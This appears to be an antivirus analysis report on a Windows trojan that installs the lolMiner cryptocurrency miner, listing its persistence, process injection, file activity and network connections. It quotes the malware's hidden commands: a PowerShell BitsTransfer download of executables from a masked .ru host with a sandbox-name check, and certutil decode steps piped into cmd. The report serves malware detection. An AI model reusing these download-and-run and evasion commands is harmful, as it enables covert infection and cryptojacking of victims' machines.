Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\kcmfstufhd.url
Malicious functions
Injects code into
the following user processes:
- regasm.exe
Modifies file system
Creates the following files
- %TEMP%\7zipsfx.000\vtczy.rt
- %TEMP%\7zipsfx.001\mine_etc_4g.bat
- %TEMP%\7zipsfx.001\mine_eth.bat
- %TEMP%\7zipsfx.001\mine_eth_4g.bat
- %TEMP%\7zipsfx.001\mine_grin_29.bat
- %TEMP%\7zipsfx.001\mine_grin_32.bat
- %TEMP%\7zipsfx.001\mine_zel.bat
- %TEMP%\7zipsfx.001\lolminer.exe
- %APPDATA%\lxryfrodkb\uzrmsiavtcgayv.js
- %TEMP%\ixp000.tmp\8-3
- %TEMP%\ixp000.tmp\lsass.com
- %TEMP%\ixp000.tmp\o
- %APPDATA%\lxryfrodkb\yqhrznuuw
- %APPDATA%\lxryfrodkb\kcmfstufhd.com
- %APPDATA%\lxryfrodkb\5-3
- %TEMP%\7zipsfx.001\mine_etc.bat
- %TEMP%\7zipsfx.001\readme.txt
- %TEMP%\7zipsfx.001\mine_cortex.bat
- %TEMP%\ixp000.tmp\1-69
- %TEMP%\7zipsfx.000\xuwvx.rt
- %TEMP%\7zipsfx.000\bit641f.tmp
- %TEMP%\7zipsfx.000\bit642f.tmp
- %TEMP%\ixp000.tmp\3-65
- %TEMP%\ixp000.tmp\2-95
- %TEMP%\ixp000.tmp\5-3
- %TEMP%\7zipsfx.001\4g_windows_readme.txt
- %TEMP%\7zipsfx.001\mine_bittube.bat
- %TEMP%\7zipsfx.001\benchmark_epoch_385.bat
- %TEMP%\7zipsfx.001\emergency.bat
- %TEMP%\7zipsfx.001\license.txt
- %TEMP%\7zipsfx.001\lolminer.cfg
- %TEMP%\7zipsfx.001\mine_ae.bat
- %TEMP%\7zipsfx.001\mine_beam.bat
- %TEMP%\7zipsfx.001\mine_btg.bat
- %TEMP%\ixp000.tmp\regasm.exe
Sets the 'hidden' attribute to the following files
- %TEMP%\7zipsfx.000\bit641f.tmp
- %TEMP%\7zipsfx.000\bit642f.tmp
Deletes the following files
- %TEMP%\7zipsfx.000\rxnhrxdwxqfg.exe
- %TEMP%\ixp000.tmp\8-3
- %TEMP%\ixp000.tmp\3-65
- %TEMP%\ixp000.tmp\2-95
- %TEMP%\ixp000.tmp\1-69
- %TEMP%\ixp000.tmp\5-3
- %TEMP%\ixp000.tmp\o
- %TEMP%\7zipsfx.001\readme.txt
- %TEMP%\7zipsfx.001\mine_zel.bat
- %TEMP%\7zipsfx.001\mine_grin_32.bat
- %TEMP%\7zipsfx.001\mine_grin_29.bat
- %TEMP%\7zipsfx.001\mine_eth_4g.bat
- %TEMP%\7zipsfx.001\mine_eth.bat
- %TEMP%\7zipsfx.001\mine_etc_4g.bat
- %TEMP%\7zipsfx.001\mine_etc.bat
- %TEMP%\7zipsfx.001\mine_cortex.bat
- %TEMP%\7zipsfx.001\mine_btg.bat
- %TEMP%\7zipsfx.001\mine_bittube.bat
- %TEMP%\7zipsfx.001\mine_beam.bat
- %TEMP%\7zipsfx.001\mine_ae.bat
- %TEMP%\7zipsfx.001\lolminer.exe
- %TEMP%\7zipsfx.001\lolminer.cfg
- %TEMP%\7zipsfx.001\license.txt
- %TEMP%\7zipsfx.001\emergency.bat
- %TEMP%\7zipsfx.001\benchmark_epoch_385.bat
- %TEMP%\7zipsfx.001\4g_windows_readme.txt
- %TEMP%\ixp000.tmp\lsass.com
- %TEMP%\ixp000.tmp\regasm.exe
Moves the following files
- from %TEMP%\7zipsfx.000\bit641f.tmp to %TEMP%\7zipsfx.000\vemqilvosnal.exe
- from %TEMP%\7zipsfx.000\bit642f.tmp to %TEMP%\7zipsfx.000\rxnhrxdwxqfg.exe
Network activity
Connects to
- 'lo####bilding.ru':80
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://lo####bilding.ru/lolMiner_1.16.exe
- http://lo####bilding.ru/Weakness.exe
UDP
- DNS ASK microsoft.com
- DNS ASK lo####bilding.ru
- DNS ASK Kj###un.KjbLuun
- DNS ASK RD######CXIT.RDnzJGugCXIT
Miscellaneous
Creates and executes the following
- '%TEMP%\7zipsfx.000\vemqilvosnal.exe'
- '%TEMP%\7zipsfx.001\lolminer.exe'
- '%TEMP%\ixp000.tmp\lsass.com' o
- '%WINDIR%\syswow64\cmd.exe' /c echo vcuTUbiLA' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c powershell -command If ($env:computername -eq 'DESKTOP-QO5QU33') {exit}; Import-Module BitsTransfer; Start-BitsTransfer -Source http://lo####bilding.ru/lolMiner_1.16.exe,http://lo####bilding...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c start VeMqiLVOSNAL.exe & start rxnHRxDwxqFG.exe' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c wsytc' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c certutil -decode 1-69 8-3 & cmd < 8-3' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c echo vcuTUbiLA
- '%WINDIR%\syswow64\cmd.exe' /c powershell -command If ($env:computername -eq 'DESKTOP-QO5QU33') {exit}; Import-Module BitsTransfer; Start-BitsTransfer -Source http://lo####bilding.ru/lolMiner_1.16.exe,http://lo####bilding...
- '%WINDIR%\syswow64\cmd.exe' /c start VeMqiLVOSNAL.exe & start rxnHRxDwxqFG.exe
- '%WINDIR%\syswow64\cmd.exe' /c wsytc
- '%WINDIR%\syswow64\cmd.exe' /c certutil -decode 1-69 8-3 & cmd < 8-3
- '%WINDIR%\syswow64\certutil.exe' -decode 1-69 8-3
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\ping.exe' -n 1 KjbLuun.KjbLuun
- '%WINDIR%\syswow64\findstr.exe' /V /R "^dBuagWWIAAVrQLDzkHsoWRspkVT$" 3-65
- '%WINDIR%\syswow64\certutil.exe' -decode 2-95 o
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 30
